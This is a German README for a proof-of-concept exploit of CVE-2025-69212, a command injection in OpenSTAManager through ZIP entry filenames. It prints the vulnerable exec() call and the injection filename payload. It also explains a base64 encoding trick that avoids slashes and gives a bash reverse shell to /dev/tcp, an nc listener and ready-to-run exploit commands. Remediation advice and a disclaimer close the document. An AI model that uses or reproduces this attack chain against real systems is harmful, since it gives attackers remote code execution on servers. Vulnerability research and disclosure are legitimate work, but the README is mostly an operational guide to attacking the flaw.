CVE-2025-69212 — OS-Kommandoinjektion in OpenSTAManager (RCE)

Proof-of-Concept-Exploit für CVE-2025-69212, eine OS-Kommandoinjektions-Schwachstelle in OpenSTAManager <= 2.9.8, die es einem authentifizierten Angreifer ermöglicht, Remote-Codeausführung über einen manipulierten ZIP-Datei-Upload zu erreichen.

Sicherheitshinweis

• CVE: CVE-2025-69212
• GHSA: GHSA-25fp-8w8p-mx36
• Betroffene Versionen: OpenSTAManager <= 2.9.8
• Behoben in: OpenSTAManager 2.9.9+
• CVSS: Kritisch

Details zur Schwachstelle

Die Schwachstelle befindet sich in src/Util/XML.php in Zeile ~100, wo die Anwendung einen benutzergesteuerten Dateinamen direkt ohne Bereinigung in einen Shell-exec()-Aufruf übergibt:

exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');

Wenn ein ZIP-Archiv über das importFE_ZIP-Plugin (/actions.php) hochgeladen wird, extrahiert die Anwendung das ZIP und übergibt den Dateinamen jedes .p7m-Eintrags an exec(). Ein Angreifer kann ein ZIP mit einem bösartigen Dateinamen erstellen, der aus dem doppelt zitierten Argument ausbricht und beliebige Shell-Befehle injiziert.

Injektions-Payload (Dateiname):

invoice.p7m";<COMMAND>;echo ".p7m

Resultierende Shell-Ausführung:

openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
#                                   ^^^^^^^^^^^^ injected here

Hinweis: Der Schrägstrich / kann nicht direkt im Dateinamen erscheinen, da ZipArchive::extractTo() ihn als Pfadtrennzeichen behandelt. Der PoC umgeht dies, indem er die Reverse-Shell-Payload base64-kodiert.

Anforderungen

• Python 3.x
• requests-Bibliothek
• Gültige OpenSTAManager-Anmeldeinformationen (jede Rolle mit Zugriff auf das Import-Plugin)
• Einen Listener auf dem Angreifer-Rechner (z. B. nc)

Abhängigkeiten installieren:

pip install requests

Verwendung

python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>

Optionen

Beispiel

# Start listener
nc -lvnp 4444

# Run exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444

# Route through Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080

Funktionsweise

1. Authentifizierung – Meldet sich mit den bereitgestellten Anmeldeinformationen bei OpenSTAManager an.
2. Payload-Erstellung – Erstellt ein ZIP-Archiv mit einer .p7m-Datei, deren Dateiname den injizierten Befehl enthält.
3. Base64-Kodierung – Die Reverse Shell (bash -i >& /dev/tcp/LHOST/LPORT 0>&1) wird base64-kodiert, um Schrägstriche im Dateinamen zu vermeiden.
4. Upload – Sendet das ZIP per POST an /actions.php über das importFE_ZIP-Plugin.
5. Ausführung – Der Server extrahiert das ZIP, übergibt den bösartigen Dateinamen an exec() und löst die Reverse Shell aus.
6. Threading – Der Upload läuft in einem Daemon-Thread, da Bash die HTTP-Verbindung offen hält; das Skript wird sauber beendet, ohne auf eine Antwort zu warten.

Abhilfe

Aktualisieren Sie auf OpenSTAManager 2.9.9 oder höher, das Dateinamen bereinigt, bevor sie an Shell-Befehle übergeben werden.

Falls ein sofortiges Patchen nicht möglich ist, deaktivieren Sie das importFE_ZIP-Plugin oder schränken Sie den Zugriff auf /actions.php auf vertrauenswürdige Benutzer ein.

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisiertes Sicherheitstesten und Bildungszwecke bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Erlaubnis zum Testen haben. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören, ist illegal und unethisch. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Referenzen

• GHSA-25fp-8w8p-mx36
• OpenSTAManager GitHub
• NVD - CVE-2025-69212